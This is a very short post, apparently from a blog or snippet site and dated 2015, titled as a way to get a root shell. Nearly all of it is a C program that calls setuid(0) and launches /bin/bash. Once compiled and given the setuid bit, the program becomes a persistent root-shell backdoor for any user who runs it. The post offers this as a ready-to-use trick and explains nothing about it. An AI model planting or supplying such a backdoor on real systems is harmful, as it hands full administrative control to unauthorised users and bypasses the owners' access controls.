Get root shell with setuid executable Dec 8, 2015 #include <unistd.h> int main() { const char *b = "/bin/bash"; setuid(0); execl(b, b, 0); }